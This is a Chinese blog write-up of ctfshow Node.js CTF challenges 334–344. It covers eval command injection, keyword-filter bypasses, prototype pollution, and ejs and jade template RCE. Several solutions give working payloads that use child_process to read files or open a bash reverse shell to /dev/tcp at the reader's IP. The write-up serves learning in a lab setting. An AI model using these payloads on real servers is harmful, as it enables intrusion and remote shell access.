ctfshow nodejs篇

334

源码给了 登录成功就能拿到flag
在这里插入图片描述

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;

看到这里的判断逻辑
在这里插入图片描述

只要把给的用户名全改为小写就行了 登录:ctfshow 123456
在这里插入图片描述

335

在这里插入图片描述
源码里给了提示,应该是命令执行
这里直接用nodejs执行shell命令的paylaod就可以了
具体可以看官方文档 http://nodejs.cn/api/child_process.html
?eval=require('child_process').execSync('cat f*')

336

跟335一样的环境,但同样的payload打不通了 估计存在关键字过滤了
换一个方法读
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl00g.txt' ] ).stdout.toString()
字符串拼接也可以
?eval=require('child_process')['ex'+'ecSync']('cat f*')(要url编码一下,+号会被url解析为空格)

337

源码直接给了
看这里

  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }

这里很简单的逻辑 用数组绕过即可
?a[]=1&b=1

338

源码里有copy函数,很明显的原型链污染
在这里插入图片描述
login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

只要满足secert.ctfshow===‘36dboy’就能拿到flag
看到utils.copy(user,req.body)知道利用原型链污染
{"__proto__":{"ctfshow":"36dboy"}}
在这里插入图片描述

339

这题源码多了个api.js 并且原来原型链污染的地方做了点改动
api.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

module.exports = router;

改动的地方
在这里插入图片描述
这个不太好利用了,关键在api.js文件里面,参考羽师傅的wp,有个预期解和非预期解
https://blog.csdn.net/miuzzx/article/details/111780832
这里利用变量覆盖控制query的值

function copy(object1, object2){
   for (let key in object2) {
       if (key in object2 && key in object1) {
           copy(object1[key], object2[key])
       } else {
           object1[key] = object2[key]
       }
   }
 }
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);

运行上面代码可以发现query已经被赋值了
我们要利用这个原理给api.js中的query赋值
payload

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的公网ip地址/端口 0>&1\"')"}}

在login路由发包,再用post方法访问/api即可反弹shell,flag在login.js里

340

跟339一个原理,但有个修改
在这里插入图片描述

只不过这次user.__proto__.___proto__才是Object,所以要向上两层
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的公网ip/1234 0>&1\"')"}}}

341

这题没了api.js 要用到前面339和340的非预期解
ejs的rce可以参考这篇文章ejs rce
跟340一样需要两层__proto__
payload
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的公网ip/1234 0>&1\"');var __tmp2"}}}

342

这题改了一下
在这里插入图片描述
原来的ejs变成了jade,不过jade也存在原型链污染
jade原型链污染
payload
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/你的公网ip/1234 0>&1\"')"}}}
记得发包的时候改成application/json

343

跟342一样,虽然做了过滤,但还是可以用

344

源码很短

router.get('/', function(req, res, next) {
    res.type('html');
    var flag = 'flag_here';
    if(req.url.match(/8c|2c|\,/ig)){
        res.end('where is flag :)');
    }
    var query = JSON.parse(req.query.query);
    if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
        res.end(flag);
    }else{
        res.end('where is flag. :)');
    }
  
  });

原来?query={"name":"admin","password":"ctfshow","isVIP":true}
逗号被过滤了,用&代替 所以变成
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
但2c被过滤了,双引号的url编码为%22会跟ctfshow前面的c拼接成2c,所以需要将c编码
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值